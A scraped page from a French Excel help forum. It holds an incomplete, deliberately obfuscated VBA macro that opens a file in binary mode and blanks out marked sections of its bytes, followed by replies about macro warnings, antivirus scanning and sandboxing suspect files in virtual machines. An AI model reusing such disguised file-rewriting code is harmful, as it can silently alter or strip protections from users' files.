Boostez vos compétences Excel avec notre communauté !
Rejoignez Excel Downloads, le rendez-vous des passionnés où l'entraide fait la force. Apprenez, échangez, progressez – et tout ça gratuitement ! 👉 Inscrivez-vous maintenant !
Const dddddddddddddddddddddddddd = &H800, eeeeeeeeee = &HA0
Const eeeeeeeeeee = "_C1", eeeeeeeeeeee = "_C2", eeeeeeeeeeeee = "_C3", eeeeeeeeeeeeee = "_C4"
Private Function dddddddddddd$(ddddddddddddd$)
Dim ddddddddddddddddddddddddd%
ddddddddddddd = F1.Evaluate(ddddddddddddd)
For ddddddddddddddddddddddddd = 1 To Len(ddddddddddddd) Step 2
dddddddddddd = dddddddddddd & Chr$(Val("&H" & Mid$(ddddddddddddd, ddddddddddddddddddddddddd, 2) Xor &HA))
Next ddddddddddddddddddddddddd
End Function
Private Function eeeeeeeeeeeeeee&()
eeeeeeeeeeeeeee = Int(Application.MemoryFree * 0.8)
End Function
Private Function eeeeeeeeeeeeeeee%(eeeeeeeeeeeeeeeee$)
Dim eeeeeeeeeeeeeeeeee&, eeeeeeeeeeeeeeeeeee&, eeeeeeeeeeeeeeeeeeee&
eeeeeeeeeeeeeeeeeee = InStrRev(eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeee)) + 2
eeeeeeeeeeeeeeeeee = InStr(eeeeeeeeeeeeeeeeeee - eeeeeeeeee, eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeeeee)) + 2
eeeeeeeeeeeeeeee = eeeeeeeeeeeeeeeeee > 2
If eeeeeeeeeeeeeeee Then
eeeeeeeeeeeeeeeeeeee = InStr(eeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeeeeee))
eeeeeeeeeeeeeeee = eeeeeeeeeeeeeeeeeeee > eeeeeeeeeeeeeeeeee And eeeeeeeeeeeeeeeeeeee < eeeeeeeeeeeeeeeeeee
End If
If eeeeeeeeeeeeeeee Then
eeeeeeeeeeeeeeeeeeee = InStr(eeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeeee))
eeeeeeeeeeeeeeee = eeeeeeeeeeeeeeeeeeee > eeeeeeeeeeeeeeeeee And eeeeeeeeeeeeeeeeeeee < eeeeeeeeeeeeeeeeeee
End If
If eeeeeeeeeeeeeeee Then eeeeeeeeeeeeeeeee = Left$(eeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeee - 1) & String(eeeeeeeeeeeeeeeeeee - eeeeeeeeeeeeeeeeee, " ") & Mid$(eeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeeee)
End Function
Private Function eeeeeeeeeeeeeeeeeeeee%(eeeeeeeeeeeeeeeeeeeeee%, ByVal eeeeeeeeeeeeeeeeeeeeeee&, ByVal eeeeeeeeeeeeeeeeeeeeeeee&)
Dim eeeeeeeeeeeeeeeeeeeeeeeee&, eeeeeeeeeeeeeeeeeeeeeeeeee$
eeeeeeeeeeeeeeeeeeeeeeeeee = String(eeeeeeeeeeeeeeeeeeeeeeee, " ")
Get #eeeeeeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeeeeeeee + 1, eeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeee = InStrRev(eeeeeeeeeeeeeeeeeeeeeeeeee, dddddddddddd(eeeeeeeeeee), , vbTextCompare)
If eeeeeeeeeeeeeeeeeeeeeeeee > 0 Then
eeeeeeeeeeeeeeeeeeeee = eeeeeeeeeeeeeeee(eeeeeeeeeeeeeeeeeeeeeeeeee)
If eeeeeeeeeeeeeeeeeeeee Then Put #eeeeeeeeeeeeeeeeeeeeee, eeeeeeeeeeeeeeeeeeeeeee + 1, eeeeeeeeeeeeeeeeeeeeeeeeee
End If
End Function
Private Function ffffffffff%(fffffffffff%)
Dim ffffffffffff&, fffffffffffff&, ffffffffffffff%
ffffffffffff = LOF(fffffffffff)
fffffffffffff = eeeeeeeeeeeeeee
Do
fffffffffffff = IIf(fffffffffffff < ffffffffffff, fffffffffffff, ffffffffffff)
ffffffffffff = IIf(ffffffffffff - fffffffffffff < 0, 0, ffffffffffff - fffffffffffff)
ffffffffffffff = eeeeeeeeeeeeeeeeeeeee(fffffffffff, ffffffffffff, fffffffffffff)
If Not ffffffffffffff Then ffffffffffff = ffffffffffff + &H64
Loop Until (ffffffffffff = &H64) Or ffffffffffffff
ffffffffff = ffffffffffffff
End Function
Sub fffffffffffffff()
Dim ffffffffffffffff%, fffffffffffffffff%, ffffffffffffffffff%
If ggggggggggggggggggggggggg <> "" Then
If Not hhhhhhhhhhh Then hhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhh
ffffffffffffffffff = FreeFile
Open ggggggggggggggggggggggggg For Binary Access Read Write As #ffffffffffffffffff
ffffffffffffffff = ffffffffff(ffffffffffffffffff)
Close #ffffffffffffffffff
If Not ffffffffffffffff And Not hhhhhhhhhhh Then
iiiiiiiiii ggggggggggggggggggggggggg, gggggggggggggggggggggg
A présent, l’ouverture de chaque fichier pourvu d'une macro génère les affichages fastidieux et successifs :
- d’un avertissement :
- d’une alerte :
Si vraiment tu as peur "d'un code malicieux", télécharges les fichiers du Forum dans un répertoire dédié sur un disque dur externe sans fichier système et paramètres ton anti-virus pour analyser tous les fichiers entrants dans ce répertoire.
Le disque dur n'ayant pas de fichier système, tu ne crains pas grand chose.
...Tu ne pourras pas dire que tu n'étais pas averti(e)....
L'Assistant d'Enregistrement des Paramètres Personnels que nous avions sou XL2003 est il toujours présent sous XL 2007 ?
Re-bonjour, JCGL, Michel, le Forum,
Ça, c'est bien vrai 😀 !
Un grand merci, JCGL, pour ta proposition et tes explications.
Quant à l’analyse, je l’effectue systématiquement avant l’ouverture d’un fichier, même si je sais pertinemment que la garantie totale n’existe pas…
Très bonne journée 😎.
Personnellement, depuis quelques années, si j'ai un doute sur un fichier et que je veux vraiment voir ce qu'il a dans le ventre, j'utilise une machine virtuelle type VmWare (payant) ou Virtual PC (gratuit chez Microsoft). Là, le seul risque est de flinguer ta machine virtuelle. Sans grandes conséquences donc puisque tu peux la supprimer et en recréer une autre. Ou mieux, garder une copie d'une machine propre pour éviter de tout réinstaller à chaque fois.
C'est d'ailleurs valable pour d'autres applications que des macros Excel.
JMPS: C'est vrai que cela paraît intéressant mais bon est-ce qu'on ne va pas passer plus de temps à maintenir son PC en forme que de trouver des subterfuges pour éviter un hypothètique virus (et les antivirus, à quoi cela sert 😕).
We use cookies and similar technologies for the following purposes:
Est ce que vous acceptez les cookies et ces technologies?
We use cookies and similar technologies for the following purposes:
Est ce que vous acceptez les cookies et ces technologies?